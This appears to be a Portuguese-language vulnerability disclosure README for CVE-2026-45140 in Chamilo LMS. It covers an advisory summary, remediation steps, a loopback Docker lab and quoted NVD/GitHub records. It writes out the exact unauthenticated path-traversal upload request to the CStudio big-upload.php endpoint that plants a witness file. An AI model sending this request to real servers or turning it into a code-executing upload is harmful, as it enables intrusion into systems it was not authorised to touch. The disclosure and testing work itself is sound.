
Pacote de divulgação e script PoC para CVE-2026-45140, uma path traversal não autenticada e RCE no upload do CStudio do Chamilo LMS, com um laboratório Docker em loopback e orientações de correção.
abraxaslabs.tech · github.com/abraxas · @abraxas_null · CVE-2026-45140
Chamilo LMS 2.0.0 — chamilo
Chamilo LMS é um sistema de gerenciamento de aprendizagem de código aberto. Antes da versão 2.0.1, o Chamilo LMS permite que um atacante remoto não autenticado execute código arbitrário no servidor. O aviso oficial não identifica o endpoint, componente, entrada ou mecanismo de exploração afetados. Este problema foi corrigido na versão 2.0.1.
| CVE | CVE-2026-45140 · CVE.org |
| CWE | CWE-22, CWE-94, CWE-219, CWE-434 |
| CVSS | Crítico: 9.8 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Produto | Chamilo LMS |
| Afetado | todas as versões até 2.0.0 (inclusive) |
| Corrigido | 2.0.1 e posteriores |
| Autenticação | nenhuma (ver mapa de origem) |
| Licença | GNU Affero GPL v3.0 |
| Laboratório | apenas 127.0.0.1 · pacote de divulgação para fornecedor/cliente, não é um scanner |
O upload do CStudio é o arquivo PHP big-upload.php, não uma action= do Symfony. O HTTP é aquele caminho do plugin.
POST/plugin/CStudio/editor/import-project/inc/big-upload.php?action=upload&key=../../../../public/poc-witness.txtPOST /plugin/CStudio/editor/import-project/inc/big-upload.php?action=upload&key=../../../../public/poc-witness.txt body=POCWitness45140BigUpload::setTempName(key) + uploadFile() fopen(cache/cstudio_upload/ + key)GET /poc-witness.txt → POCWitness45140O corpo de GET /poc-witness.txt contém POCWitness45140. O HTML da página inicial ou o redirecionamento de instalação não é o witness de escrita de arquivo.
Faça isto primeiro: Atualize o Chamilo LMS para 2.0.1 ou mais recente.
Verifique após a atualização
CVE-2026-45140-Abraxas-Labs.py contra a versão corrigida: o witness mapeado não deve aparecer.Se você não puder atualizar imediatamente
Alvo apenas http://127.0.0.1:8088 (ou o loopback que você vinculou). Não aponte este script para a internet.
python3 CVE-2026-45140-Abraxas-Labs.py
Sucesso é o witness acima no corpo da resposta. HTML genérico 200 não é.
Stack de loopback usada para reprodução. Imagens oficiais, a menos que um Dockerfile nesta pasta compile a partir do código-fonte.
cd lab
docker compose up --force-recreate
Vincule a árvore do produto vulnerável ao lado do Compose se o YAML montar um diretório local (zip do plugin / tag de origem da tabela de versões). Não publique nada exceto 127.0.0.1.
# CVE-2026-45140 (structured records)
- input: `https://nvd.nist.gov/vuln/detail/CVE-2026-45140`
- CWE: CWE-22, CWE-94, CWE-219, CWE-434
- published: 2026-09-17T21:17:12.440
## NVD description
Chamilo LMS is an open-source learning management system. Prior to 2.0.1, Chamilo LMS allows an unauthenticated remote attacker to execute arbitrary code on the server. The authoritative advisory does not identify the affected endpoint, component, input, or exploitation mechanism. This issue is fixed in version 2.0.1.
## MITRE description
Chamilo LMS is an open-source learning management system. Prior to 2.0.1, Chamilo LMS allows an unauthenticated remote attacker to execute arbitrary code on the server. The authoritative advisory does not identify the affected endpoint, component, input, or exploitation mechanism. This issue is fixed in version 2.0.1.
## Affected
- chamilo chamilo-lms < 2.0.1 affected
- OSV:
## References (JSON sources only)
- https://github.com/chamilo/chamilo-lms/commit/4bdba1b9a8820bd70c0809317775d7f6eaa79844
- https://github.com/chamilo/chamilo-lms/releases/tag/v2.0.1
- https://github.com/chamilo/chamilo-lms/security/advisories/GHSA-g4c3-4g96-6g4m
- https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/45xxx/CVE-2026-45140.json
- https://nvd.nist.gov/vuln/detail/CVE-2026-45140
- https://github.com/advisories/GHSA-g4c3-4g96-6g4m
## GitHub advisory
Chamilo LMS CStudio upload flow allows unauthenticated remote code execution
### Impact
Ability to run arbitrary code on the server without authentication.
## OSV
Chamilo LMS CStudio upload flow allows unauthenticated remote code execution
Chamilo LMS is an open-source learning management system. Prior to 2.0.1, Chamilo LMS allows an unauthenticated remote attacker to execute arbitrary code on the server. The authoritative advisory does not identify the affected endpoint, component, input, or exploitation mechanism. This issue is fixed in version 2.0.1.
Este pacote de divulgação está licenciado sob a GNU Affero General Public License v3.0. Consulte LICENSE.
Este pacote é destinado ao fornecedor, ao proprietário do site e a laboratórios licenciados. O script se comunica com 127.0.0.1. Usá-lo contra sistemas que você não possui não é autorizado pela Abraxas Labs. Sem garantias.